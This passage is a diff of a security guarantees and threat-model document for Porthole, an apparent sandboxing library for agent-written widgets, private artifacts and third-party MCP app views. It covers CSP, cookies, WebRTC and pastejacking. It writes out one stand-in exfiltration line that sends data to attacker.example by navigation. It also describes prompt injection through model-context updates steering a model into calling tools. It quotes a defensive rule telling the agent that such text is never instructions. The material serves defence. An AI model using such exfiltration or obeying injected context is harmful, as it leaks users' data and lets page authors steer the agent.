`presets.inlineWidget`: a card the agent wrote, drawn in an opaque `srcdoc` frame as it streams.
|
|
350
219
|
|
|
351
220
|
**Porthole guarantees**
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
`srcdoc` iframes (an inline widget has no files of its own) and drops every other frame and
|
|
362
|
-
plugin as before, a kept frame included once a change would point it elsewhere.
|
|
221
|
+
- An opaque origin, `sandbox="allow-scripts"` only: no forms, popups, downloads, top or parent
|
|
222
|
+
navigation; nothing of the host's DOM, storage or cookies.
|
|
223
|
+
- A closed network. The CSP has `default-src 'none'`, `connect-src 'none'` (until a capability or
|
|
224
|
+
the egress config names an origin), `form-action 'none'`, `frame-src 'none'`, `base-uri 'none'`,
|
|
225
|
+
`object-src 'none'`, `webrtc 'block'`, and no `'self'` anywhere. Before content runs the shell
|
|
226
|
+
removes the `RTC*` constructors, drops nested frames, plugins and resource hints as they are
|
|
227
|
+
inserted, and makes `document.open` and `write` throw. With `nestedFrames: "own"` (P128, off by
|
|
228
|
+
default) it keeps `srcdoc` iframes and drops every other frame and plugin, a kept one too once a
|
|
229
|
+
change would point it elsewhere.
|
|
363
230
|
- While it streams, drafts are drawn inert (no scripts, handlers or navigation); the whole runs
|
|
364
231
|
once.
|
|
365
232
|
- Only the host functions the config declares exist, each behind its default gates:
|
|
@@ -375,270 +242,238 @@ Whatever the use:
|
|
|
375
242
|
| `readData`, `subscribeData` | 120 and 60 a minute (`liveWidget` adds consent) |
|
|
376
243
|
| `reportError` | 10 a minute |
|
|
377
244
|
|
|
378
|
-
-
|
|
379
|
-
`show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls
|
|
380
|
-
|
|
381
|
-
- Model context (`setModelContext`) goes only once
|
|
382
|
-
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
window and origin; both validate every message.
|
|
245
|
+
- Without the host's confirm function, a call that needs a confirmation is refused (consent and
|
|
246
|
+
`show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls; at
|
|
247
|
+
most 10 confirmations wait per display, more are refused (P095).
|
|
248
|
+
- Model context (`setModelContext`) goes only once `show` has shown it, after every other gate: text
|
|
249
|
+
blocks and plain JSON, at most 20,000 characters, no invisible characters. The manual tells the
|
|
250
|
+
agent it is the content's unconfirmed text, never instructions (P100).
|
|
251
|
+
- The shell takes messages only from its parent window, the host only from its frame's window and
|
|
252
|
+
origin; both validate every message.
|
|
387
253
|
- A frame that navigates is started again, at most three times; the next navigation stops the
|
|
388
|
-
display. A
|
|
389
|
-
|
|
254
|
+
display. A file set's display may first hold such a frame up to 2 s, in case it was a page of its
|
|
255
|
+
own set, delivering nothing either way meanwhile (P098).
|
|
390
256
|
|
|
391
257
|
**The host must**
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
self-navigation ones included, and it is the only check that the page sends that CSP: nothing
|
|
400
|
-
checks it when a display mounts.
|
|
258
|
+
- Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays are
|
|
259
|
+
opaque). It is the only wall against an opaque frame navigating itself away with data in the URL
|
|
260
|
+
(`location = "https://attacker.example/?" + data`): the frame's CSP can't stop that, and the shell
|
|
261
|
+
gets no navigation events in an opaque origin.
|
|
262
|
+
- Run `defineHostConformance` against its real page in CI: it runs the leak probes there,
|
|
263
|
+
self-navigation included, and is the only check that the page sends that CSP (nothing checks it
|
|
264
|
+
when a display mounts).
|
|
401
265
|
- Keep `anyHttps` off inline widgets: an image URL is a way out (P059).
|
|
402
266
|
- Show what a copy put on the clipboard. The React binding's toast shows at most its first four
|
|
403
|
-
lines and 280 characters; a host's own `copyText` handler replaces the toast
|
|
267
|
+
lines and 280 characters; a host's own `copyText` handler replaces the toast and must show it
|
|
404
268
|
itself.
|
|
405
269
|
|
|
406
270
|
**Not guaranteed**
|
|
407
|
-
|
|
408
271
|
- On a page without that `frame-src`, a widget can send out whatever it was shown.
|
|
409
|
-
- With `nestedFrames: "own"` (P128, the host's choice), a
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
- `copyText` needs
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
ask for one as it loads. The confirmation is the wall, the rate and the mute its bounds (§5).
|
|
272
|
+
- With `nestedFrames: "own"` (P128, the host's choice), a `srcdoc` frame is a realm where none of
|
|
273
|
+
the shell's defenses ran: WebRTC (a way past `connect-src`, closed only where an engine honors
|
|
274
|
+
`webrtc 'block'`), resource hints, `document.write`, and `execCommand("copy")` and copy listeners
|
|
275
|
+
from a click in it (text the person didn't choose on their clipboard, no notice). The CSP it
|
|
276
|
+
inherits holds for the rest.
|
|
277
|
+
- `copyText` needs a gesture, not a confirmation: a widget can put text the person didn't choose on
|
|
278
|
+
their clipboard when they click in it (pastejacking). The notice tells them.
|
|
279
|
+
- Shown isn't read: the person may not look at a model-context update, or not see an injection in it
|
|
280
|
+
for what it is. Characters that draw blank (a no-break space, the wide spaces) pass, a few bits
|
|
281
|
+
each, bounded by the length limit (P100, accepted). Opting out of `show` (`withoutShow: true`)
|
|
282
|
+
lets content write text nobody saw into the model's turns (S5).
|
|
283
|
+
- The gesture check (`copyText`'s, and any a host names) reads the host page's
|
|
284
|
+
`navigator.userActivation`, and passes in an engine without it. A gesture shows a moment of
|
|
285
|
+
intent, not consent: the person may have clicked the host a moment before.
|
|
286
|
+
- `sendPrompt`, `openLink` and `downloadFile` ask no proof of a click: a widget can ask as it loads,
|
|
287
|
+
bounded by the confirmation, the rate and the mute (§5).
|
|
426
288
|
- Availability ([§5](#5-out-of-scope)).
|
|
427
289
|
|
|
428
290
|
### S2. Live widgets: content that reads the host's data
|
|
429
291
|
|
|
430
|
-
`presets.liveWidget`: an inline widget
|
|
431
|
-
it.
|
|
432
|
-
|
|
433
|
-
**Porthole guarantees**, with the preset's defaults (see the host's duties below for what undoes
|
|
434
|
-
them):
|
|
292
|
+
`presets.liveWidget`: an inline widget showing the host's data, current, as the viewer may see it.
|
|
435
293
|
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
442
|
-
|
|
294
|
+
**Porthole guarantees**, with the preset's defaults (the host's duties below say what undoes them):
|
|
295
|
+
- No network of its own: the preset refuses an `egress` option and a capability's own `connect` or
|
|
296
|
+
`resource` origins, and returns a frozen config (P103). Served, the only scripts it may load are
|
|
297
|
+
Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
|
|
298
|
+
- Data only through the host: `readData` and `subscribeData`, each behind `consent` (asked once per
|
|
299
|
+
display; without a consent function every data call is refused) and a rate (120 reads, 60
|
|
300
|
+
subscriptions a minute). A refusal tells the widget why (`data: { code, message }`).
|
|
443
301
|
- A result the host pushes with `changed(result)` answers a later read only past `readData`'s own
|
|
444
302
|
gates, as any read does (P094).
|
|
445
|
-
- Served, the shell cancels any navigation of the frame to another document
|
|
446
|
-
|
|
303
|
+
- Served, the shell cancels any navigation of the frame to another document except a page of its own
|
|
304
|
+
file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
|
|
447
305
|
|
|
448
306
|
**The host must**
|
|
449
|
-
|
|
450
307
|
- Decide in its handlers what a URI may name, with the viewer's rights: the URI is the content's
|
|
451
308
|
word.
|
|
452
309
|
- Ask for consent in its own UI, and keep the answer per viewer and widget.
|
|
453
|
-
-
|
|
454
|
-
|
|
310
|
+
- Show opaque live widgets only on pages that frame no content origins: the page's `frame-src` is an
|
|
311
|
+
opaque frame's only wall against navigating away.
|
|
455
312
|
- Not build a config of its own from the preset's (`{ ...presets.liveWidget(), egress }`, a
|
|
456
|
-
capability with origins): that
|
|
313
|
+
capability with origins): that isn't the preset, and opens what it names.
|
|
457
314
|
- Not pass `readData` or `subscribeData` in `options.capabilities` without their gates: an entry
|
|
458
315
|
there replaces the preset's, consent included.
|
|
459
316
|
- Follow the composition rule (S7): no url-mode or `anyHttps` displays on the same page.
|
|
460
317
|
|
|
461
318
|
**Not guaranteed**
|
|
462
|
-
|
|
463
319
|
- What a neighbouring frame does with data handed to it (S7).
|
|
464
320
|
- In an engine without the Navigation API, a served frame's navigation falls back to the page's
|
|
465
321
|
`frame-src`: outside sites stay shut, other content origins don't (P079).
|
|
466
|
-
- `LIBRARY_CDNS` displays
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
322
|
+
- `LIBRARY_CDNS` displays may share the page (ADOPTING.md) but reach nine origins: fetches, scripts,
|
|
323
|
+
styles, fonts and images to four package CDNs (cdnjs, jsDelivr, unpkg, esm.sh), and scripts,
|
|
324
|
+
styles or fonts from five more (Google Fonts' two, Tailwind's, jQuery's and Plotly's). Every such
|
|
325
|
+
request's path is a narrow channel out, read by that CDN's operator (P048). Keep highly sensitive
|
|
326
|
+
data off pages with them.
|
|
471
327
|
|
|
472
328
|
### S3. Private artifacts
|
|
473
329
|
|
|
474
|
-
`presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
479
|
-
encrypted into the path, since WebKit keeps no cookie in a frame (P083).
|
|
330
|
+
`presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer (setup:
|
|
331
|
+
[ADOPTING.md](ADOPTING.md) § 4, "The server"). A page's **clean address** is its address on its own
|
|
332
|
+
content origin (a path on `<label>.<content domain>`) with no ticket in it: the one a person opens
|
|
333
|
+
in a tab or shares. A framed page's **sealed files address** is `/__porthole/f/<sealed>/`, the
|
|
334
|
+
frame's session encrypted into the path, since WebKit keeps no cookie in a frame (P083).
|
|
480
335
|
|
|
481
336
|
**Porthole guarantees**
|
|
482
|
-
|
|
483
|
-
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
|
|
488
|
-
one (`ContentDomainError`), and a served mount refuses a content origin same-site with the app.
|
|
489
|
-
With `health` configured, frames fall back to opaque while the content domain doesn't answer.
|
|
337
|
+
- An origin per storage scope on the content domain; by default its label is an HMAC of the scope
|
|
338
|
+
under a key derived from the host's secret (120 bits). A label is an address, not a secret (a host
|
|
339
|
+
may name labels itself, `prefixedName`): access is the ticket's and the cookie's job.
|
|
340
|
+
- `createContentHost` refuses a content domain that holds an app origin or may share a site with one
|
|
341
|
+
(`ContentDomainError`), and a served mount refuses a content origin same-site with the app. With
|
|
342
|
+
`health` configured, frames fall back to opaque while the content domain doesn't answer.
|
|
490
343
|
- Access: the host decides, Porthole carries the decision. A ticket of 160 random bits, stored only
|
|
491
344
|
as a hash, used once, good for 60 seconds by default and 600 at most, becomes a signed cookie of
|
|
492
|
-
that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in
|
|
493
|
-
|
|
494
|
-
- Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which
|
|
495
|
-
|
|
345
|
+
that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in a
|
|
346
|
+
frame; `SameSite=None; Partitioned` in a frame, `Lax` in a tab.
|
|
347
|
+
- Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which no
|
|
348
|
+
other label can set; the entered mark names its label. A session names its scope, signed, so
|
|
496
349
|
another label's session is never read as this one's, under https or on loopback (P101).
|
|
497
|
-
- Pages, files and status pages carry their CSP in headers and `X-Robots-Tag: noindex
|
|
498
|
-
`frame-ancestors` names the app's origins only
|
|
499
|
-
|
|
500
|
-
|
|
501
|
-
- Files
|
|
502
|
-
pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
|
|
350
|
+
- Pages, files and status pages carry their CSP in headers, and `X-Robots-Tag: noindex`.
|
|
351
|
+
`frame-ancestors` names the app's origins only, then the host's `framedBy`, if any (P141:
|
|
352
|
+
ancestors above the app's page, never its host). With `nestedFrames: "own"` (P128), a file set's
|
|
353
|
+
files below its base also name the page's own origin, so its pages can frame them.
|
|
354
|
+
- Files come only from the version's manifest, typed by Porthole's table, `nosniff`; files other
|
|
355
|
+
than pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
|
|
503
356
|
worker; a page's CSP opens its own version's path, not its whole origin.
|
|
504
|
-
- A page's nested frames are removed
|
|
505
|
-
|
|
506
|
-
|
|
507
|
-
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
511
|
-
403 that says `denied`.
|
|
357
|
+
- A page's nested frames are all removed unless the host opts in (`nestedFrames: "own"`, P128). Then
|
|
358
|
+
only an iframe of its version's own files or with `srcdoc` runs (a page of the set, with its own
|
|
359
|
+
shell); every other frame (another site, another path, a scheme, an empty one) and plugin is
|
|
360
|
+
removed, and the page's `frame-src`, which opens only its version's path, governs every navigation
|
|
361
|
+
of its frames.
|
|
362
|
+
- With a per-request check (`authorize`), the host decides again on every request; a deny is a 403
|
|
363
|
+
that says `denied`.
|
|
512
364
|
|
|
513
365
|
**The host must**
|
|
514
|
-
|
|
515
|
-
- Use the content domain for nothing else, and put it on the Public Suffix List when it can
|
|
516
|
-
(P047).
|
|
366
|
+
- Use the content domain for nothing else, and put it on the Public Suffix List when it can (P047).
|
|
517
367
|
- Give a secret of at least 32 random bytes (`npx porthole secret`). Porthole checks only its
|
|
518
|
-
length, and
|
|
519
|
-
|
|
520
|
-
- Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without
|
|
521
|
-
|
|
522
|
-
uncached (the default; `authorizeTtlSeconds`
|
|
523
|
-
|
|
524
|
-
- Send the page's `frame-src`.
|
|
368
|
+
length, and with `health` configured the health route answers with a value derived from it, so a
|
|
369
|
+
guessable secret can be tested offline.
|
|
370
|
+
- Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without it
|
|
371
|
+
a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
|
|
372
|
+
uncached (the default; `authorizeTtlSeconds`) or call `content.forget(…)` when revoking; otherwise
|
|
373
|
+
a cached answer holds for up to that long.
|
|
525
374
|
|
|
526
375
|
**Not guaranteed**
|
|
527
|
-
|
|
528
|
-
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
532
|
-
|
|
533
|
-
|
|
534
|
-
|
|
535
|
-
|
|
536
|
-
|
|
537
|
-
header size (denial of service only);
|
|
376
|
+
- Until the content domain is on the PSL, its labels are same-site with each other (P047), so a page
|
|
377
|
+
on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can set
|
|
378
|
+
cookies for the whole content domain (in a frame, within what the browser allows a third-party
|
|
379
|
+
frame). `__Host-` keeps them off its sessions' cookies, but:
|
|
380
|
+
- on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie on a
|
|
381
|
+
tab there), so a page can plant a copy of a label's own session or entry nonce, for whoever
|
|
382
|
+
hands it one: they are `HttpOnly` and never sent into a frame (P101);
|
|
383
|
+
- in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy of
|
|
384
|
+
a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the header
|
|
385
|
+
size (denial of service only);
|
|
538
386
|
- enough large cookies make every request from that browser to the content domain too large to
|
|
539
387
|
serve ([§5](#5-out-of-scope)).
|
|
540
388
|
- A sealed files address is a bearer credential for its version's files until the session ends
|
|
541
|
-
(P083): anyone holding it can load them.
|
|
542
|
-
the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can
|
|
543
|
-
|
|
544
|
-
|
|
545
|
-
(§7).
|
|
546
|
-
- With `nestedFrames: "own"` (P128), a page has WebRTC
|
|
547
|
-
`about:blank` of its own origin, which it reaches
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
frames can't navigate out of its version's path, and their sandbox is the page's.
|
|
389
|
+
(P083): anyone holding it can load them. For its first hour it opens on its own; after that only
|
|
390
|
+
for the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can
|
|
391
|
+
claim.
|
|
392
|
+
- A revocation reaches the next request, not a page already running, an open WebSocket, pinned files
|
|
393
|
+
the browser cached (immutable for a year), or assets in bearer mode (§7).
|
|
394
|
+
- With `nestedFrames: "own"` (P128), a page has WebRTC (every iframe it keeps starts as an
|
|
395
|
+
`about:blank` of its own origin, which it reaches first), and its `srcdoc` frames run none of the
|
|
396
|
+
shell's defenses (S1). Its frames can't navigate out of its version's path; their sandbox is the
|
|
397
|
+
page's.
|
|
551
398
|
|
|
552
399
|
### S4. Public links, and pages that are apps
|
|
553
400
|
|
|
554
|
-
A served artifact anyone with its link may open (the host's `access` returns
|
|
555
|
-
|
|
556
|
-
|
|
401
|
+
A served artifact anyone with its link may open (the host's `access` returns `{ anonymous: true }`),
|
|
402
|
+
possibly under the app runtime. The riskiest use: the author may be the attacker (c), and its
|
|
403
|
+
readers are strangers.
|
|
557
404
|
|
|
558
405
|
**Porthole guarantees**
|
|
559
|
-
|
|
560
406
|
- A public grant opens documents, never url-mode apps.
|
|
561
|
-
- A public grant without a `level` has no viewer. Under a runtime
|
|
407
|
+
- A public grant without a `level` has no viewer. Under a runtime such a page is refused the
|
|
562
408
|
runtime's own host functions (`user`, `comments`, `artifact`, `assets`, `db`) and every method
|
|
563
|
-
above `view`; with a declaration
|
|
409
|
+
above `view`; with a declaration it reads only the `data` names it declared (P094; a `data`
|
|
564
410
|
without a `resources` list names them all).
|
|
565
|
-
- The page is on a site that isn't the host's (its sibling labels share one until the content
|
|
566
|
-
|
|
567
|
-
|
|
568
|
-
|
|
411
|
+
- The page is on a site that isn't the host's (its sibling labels share one until the content domain
|
|
412
|
+
is on the PSL, S3). A label is one DNS label, never of the form IDNA reserves (`xn--`), so never
|
|
413
|
+
punycode for another name. Pages say `noindex`. A file of a type Porthole doesn't know is served
|
|
414
|
+
as a download.
|
|
569
415
|
- `authorize` is the host's takedown switch.
|
|
570
|
-
- An embedded document (P143, `Grant.embed`, only where the host set `embeds`)
|
|
571
|
-
|
|
572
|
-
|
|
573
|
-
|
|
574
|
-
|
|
575
|
-
|
|
576
|
-
|
|
577
|
-
|
|
578
|
-
- A page opened in a tab of its own has its frame's powers and no more (P099): its CSP header
|
|
416
|
+
- An embedded document (P143, `Grant.embed`, only where the host set `embeds`) is anonymous, an
|
|
417
|
+
artifact's page with no level or user; only its session's answers say `frame-ancestors *`. It
|
|
418
|
+
names no host: it hears no one, Porthole tells no parent anything, no capability or runtime host
|
|
419
|
+
function runs, and no door is minted. The flag is signed into the session and the sealed address.
|
|
420
|
+
Every other session's answers are byte for byte what the server without `embeds` answers, even
|
|
421
|
+
while an embed session of the same artifact exists; cookies stay host-only. The host kit never
|
|
422
|
+
mints one from `access` (its issue endpoint and clean addresses refuse it, P145).
|
|
423
|
+
- A page opened in a tab of its own has its frame's powers and no more (P099). Its CSP header
|
|
579
424
|
carries the frame's sandbox (scripts on its own origin; no popups, forms, downloads, browser
|
|
580
|
-
dialogs, or navigation of another window, its opener's included)
|
|
581
|
-
|
|
582
|
-
|
|
583
|
-
|
|
584
|
-
|
|
585
|
-
|
|
586
|
-
|
|
587
|
-
|
|
588
|
-
|
|
589
|
-
|
|
590
|
-
|
|
591
|
-
by the shell as it was when clicked, never by the browser as a later listener left it.
|
|
592
|
-
`defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real edge.
|
|
425
|
+
dialogs, or navigation of another window, its opener's included). Its `Permissions-Policy` denies
|
|
426
|
+
what the frame's `allow` doesn't grant (camera, microphone, location, full screen, passkeys,
|
|
427
|
+
payments, sharing, the built-in AI models, and every other feature a frame lacks by default). The
|
|
428
|
+
shell's own walls, the only ones on engines that don't apply that header (WebKit, Firefox):
|
|
429
|
+
`window.open` answers null; picture-in-picture, devices, location, full screen, passkeys, the
|
|
430
|
+
share sheet and payments (Apple Pay too) are refused at once; its navigation guard stops the page
|
|
431
|
+
navigating itself away by `location` (set, `assign`, `replace`), a link, `navigation.navigate()`
|
|
432
|
+
or `open(…, "_self")`, with no way to have one address checked and go to another (a link, in a
|
|
433
|
+
shadow root too, is followed as it was when clicked; how: DESIGN.md § "Served content, each with
|
|
434
|
+
its test"). `defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real
|
|
435
|
+
edge.
|
|
593
436
|
|
|
594
437
|
**The host must**
|
|
595
|
-
|
|
596
438
|
- Add what Porthole doesn't have: a notice that the page is user-made (an interstitial), a way to
|
|
597
439
|
report it, and a takedown process.
|
|
598
440
|
- Keep public grants at `view` or without a level. Porthole sets no ceiling: a public grant may
|
|
599
441
|
carry any level, up to `owner`, and a `user`, and then the page has a viewer at that level.
|
|
600
442
|
- On pages shared with signed-in people, not offer `db` writes and `user`, or gate them with
|
|
601
443
|
`consent` or `confirm` (their defaults are rates only: 600 and 60 a minute).
|
|
602
|
-
- Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is
|
|
603
|
-
|
|
604
|
-
|
|
605
|
-
|
|
606
|
-
|
|
607
|
-
`rateLimit.key`.
|
|
444
|
+
- Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is keyed
|
|
445
|
+
by an address the client can't set (P092): the socket's peer through Porthole's Node adapter,
|
|
446
|
+
`CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request shares
|
|
447
|
+
one limit unless you set `rateLimit.trustedProxies` (only where the app is reachable through those
|
|
448
|
+
proxies alone) or `rateLimit.key` (ADOPTING.md § 4, "The server").
|
|
608
449
|
- Check pages for secrets before publishing them: `lintContent` has no rule for credentials.
|
|
609
|
-
- Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on
|
|
610
|
-
|
|
450
|
+
- Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on unchanged through
|
|
451
|
+
any edge or proxy: on a tab they are the page's sandbox.
|
|
611
452
|
- For embeds (P143): mint `embed` from one route of yours alone (never a reader's ticket or door;
|
|
612
|
-
with the host kit, `host.server.issue`, never `access`,
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
|
|
618
|
-
|
|
619
|
-
|
|
620
|
-
with any egress (a `connect-src`, an image source) can send that out; one with none can't. Treat
|
|
621
|
-
where an embed is shown as known to its author.
|
|
453
|
+
with the host kit, `host.server.issue`, never `access`, P145), keep that route from widening
|
|
454
|
+
grants, and blank a takedown within a bound you state (your `authorize` answers, cached or not).
|
|
455
|
+
The embedding site sees the page load and hears what the page posts to its parent or top. The page
|
|
456
|
+
learns where it is embedded (P145, measured in Chromium, Firefox and WebKit): its request's
|
|
457
|
+
`Referer` names your outer page (its origin under the default referrer policy; Firefox also sends
|
|
458
|
+
`Origin`), `document.referrer` says the same, and `location.ancestorOrigins` names every ancestor,
|
|
459
|
+
the embedding site included. A page with any egress (a `connect-src`, an image source) can send
|
|
460
|
+
that out; one with none can't. Treat where an embed is shown as known to its author.
|
|
622
461
|
- Treat a public link's clean address as a tab's (P125): to show what one names in a frame, resolve
|
|
623
462
|
it through your issue endpoint (`client.resolve`, `<PortholeView address>`). Its refusals (signed
|
|
624
|
-
out, denied, not found) are
|
|
625
|
-
|
|
626
|
-
Porthole's door's.
|
|
463
|
+
out, denied, not found) are drawn as the fallback with no frame built; a `blocked` there is your
|
|
464
|
+
backend's word, not the door's, so keep those answers as honest as the access decision.
|
|
627
465
|
|
|
628
466
|
**Not guaranteed**
|
|
629
|
-
|
|
630
|
-
|
|
631
|
-
|
|
632
|
-
|
|
633
|
-
|
|
634
|
-
|
|
635
|
-
|
|
636
|
-
|
|
637
|
-
|
|
638
|
-
|
|
639
|
-
`{ id, name, level }`, the page can read and keep in `db`. Closed egress doesn't cover a channel
|
|
640
|
-
the host itself provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what
|
|
641
|
-
`name` says.
|
|
467
|
+
- In a browser without the Navigation API (older Safari and Firefox), a page opened in a tab can
|
|
468
|
+
navigate itself away with data in the address: the shell's guard gets no events there, and a tab
|
|
469
|
+
has no embedding page whose `frame-src` would stop it. It can also go to a `blob:` document it
|
|
470
|
+
wrote, where the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy`
|
|
471
|
+
and the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
|
|
472
|
+
either (P099, accepted). A host that must cover such browsers shows public pages in its own frame.
|
|
473
|
+
- `db` and `user` reach the author without any network: the page can read what viewers write, and
|
|
474
|
+
`user.get()`'s `{ id, name, level }`, and keep it in `db`. Closed egress doesn't cover a channel
|
|
475
|
+
the host provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what `name`
|
|
476
|
+
says.
|
|
642
477
|
- Phishing ([§5](#5-out-of-scope)).
|
|
643
478
|
|
|
644
479
|
### S5. Third-party MCP Apps
|
|
@@ -646,42 +481,36 @@ the attacker (c), and its readers are strangers.
|
|
|
646
481
|
`presets.mcpApp` through `/mcp`: a view from an MCP server the host doesn't control (b).
|
|
647
482
|
|
|
648
483
|
**Porthole guarantees**
|
|
649
|
-
|
|
650
|
-
|
|
651
|
-
|
|
652
|
-
sandbox proxy on a content origin.
|
|
484
|
+
- Porthole implements the host side itself, with one hardened frame: by default an opaque frame with
|
|
485
|
+
the shell's defenses first in the view's document; with `isolation: "domain"`, behind the sandbox
|
|
486
|
+
proxy on a content origin.
|
|
653
487
|
- The view's declared CSP becomes its egress: `connectDomains` to `connect-src`, `resourceDomains`
|
|
654
488
|
to scripts, styles, images, fonts and media. Only exact origins (https or wss; http and ws on
|
|
655
489
|
loopback only) and `*.` wildcards over a domain are taken; a wildcard over a single label or a
|
|
656
490
|
public suffix Porthole knows, and anything else, is dropped. `frameDomains` and `baseUriDomains`
|
|
657
491
|
are ignored. Served, the proxy's CSP comes from what the session carries, signed, never from a
|
|
658
492
|
message.
|
|
659
|
-
-
|
|
660
|
-
|
|
661
|
-
|
|
493
|
+
- Default gates stricter than the spec's "MAY": `callTool`, `sendPrompt` and `openLink` each need a
|
|
494
|
+
confirmation, at 30 a minute (S1). A gesture check a host names is the host's alone (the shell
|
|
495
|
+
doesn't speak for an MCP view).
|
|
662
496
|
|
|
663
497
|
**The host must**
|
|
664
|
-
|
|
665
|
-
|
|
666
|
-
- Show the person the domains a view declares before mounting it (`readViewResource(…).egress`
|
|
667
|
-
and `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
|
|
498
|
+
- Show the person the domains a view declares before mounting it (`readViewResource(…).egress` and
|
|
499
|
+
`viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
|
|
668
500
|
- Route `callTool` only to the view's own server, and refuse the tools the view may not call
|
|
669
|
-
(`_meta.ui.visibility`):
|
|
501
|
+
(`_meta.ui.visibility`): the host's `callTool` handler alone decides that.
|
|
670
502
|
- Keep `setModelContext`'s `show` gate. The React provider shows each update whole outside every
|
|
671
|
-
frame (`ContextNotice`); a host's own `show` must
|
|
672
|
-
|
|
673
|
-
content is the host's own (P100).
|
|
503
|
+
frame (`ContextNotice`); a host's own `show` must too. Opt out (`withoutShow: true`) only where
|
|
504
|
+
the handler itself puts the text in front of the person, or the content is the host's own (P100).
|
|
674
505
|
- Keep `callTool`'s confirmation. If the host's confirm says yes by itself and a view polls a tool
|
|
675
506
|
more often than every 2 s, give `callTool` its own `gates` with a rate: they replace the default.
|
|
676
507
|
|
|
677
508
|
**Not guaranteed**
|
|
678
|
-
|
|
679
|
-
- Declaring is allowing: what the person sees or types in the view may go to its
|
|
680
|
-
`connectDomains`.
|
|
509
|
+
- Declaring is allowing: what the person sees or types in the view may go to its `connectDomains`.
|
|
681
510
|
- Code from `resourceDomains` runs in the frame (still isolated).
|
|
682
|
-
- Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading:
|
|
683
|
-
|
|
684
|
-
|
|
511
|
+
- Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading: text
|
|
512
|
+
the person let pass can still steer the model into calling other tools, which the gates on the
|
|
513
|
+
view's own calls don't catch. The manual's words (the content's unconfirmed text, never
|
|
685
514
|
instructions) are the second wall (P100, accepted).
|
|
686
515
|
- The public suffixes Porthole refuses wildcards over are its own short list, not the whole PSL.
|
|
687
516
|
|
|
@@ -690,7 +519,6 @@ the attacker (c), and its readers are strangers.
|
|
|
690
519
|
`presets.url`: a running app (a dev server's preview) framed by its URL (d).
|
|
691
520
|
|
|
692
521
|
**Porthole guarantees**
|
|
693
|
-
|
|
694
522
|
- Isolation: the app runs on a content origin, never the host's, in a frame with
|
|
695
523
|
`sandbox="allow-scripts allow-same-origin allow-forms"`. A host may add popups (and popups that
|
|
696
524
|
escape the sandbox), modals and downloads; top navigation never.
|
|
@@ -698,552 +526,382 @@ the attacker (c), and its readers are strangers.
|
|
|
698
526
|
session; the viewer can't change it.
|
|
699
527
|
- Porthole's own cookies are removed before a request reaches the host's `upstream` (HTTP), and
|
|
700
528
|
before the Node adapter hands a WebSocket to the host's `appSocket`.
|
|
701
|
-
- The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin`
|
|
702
|
-
|
|
703
|
-
|
|
704
|
-
the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
|
|
705
|
-
- `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers:
|
|
706
|
-
|
|
707
|
-
|
|
708
|
-
|
|
709
|
-
as sent, so an app that checks `Origin` sees a foreign one.
|
|
529
|
+
- The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin` or
|
|
530
|
+
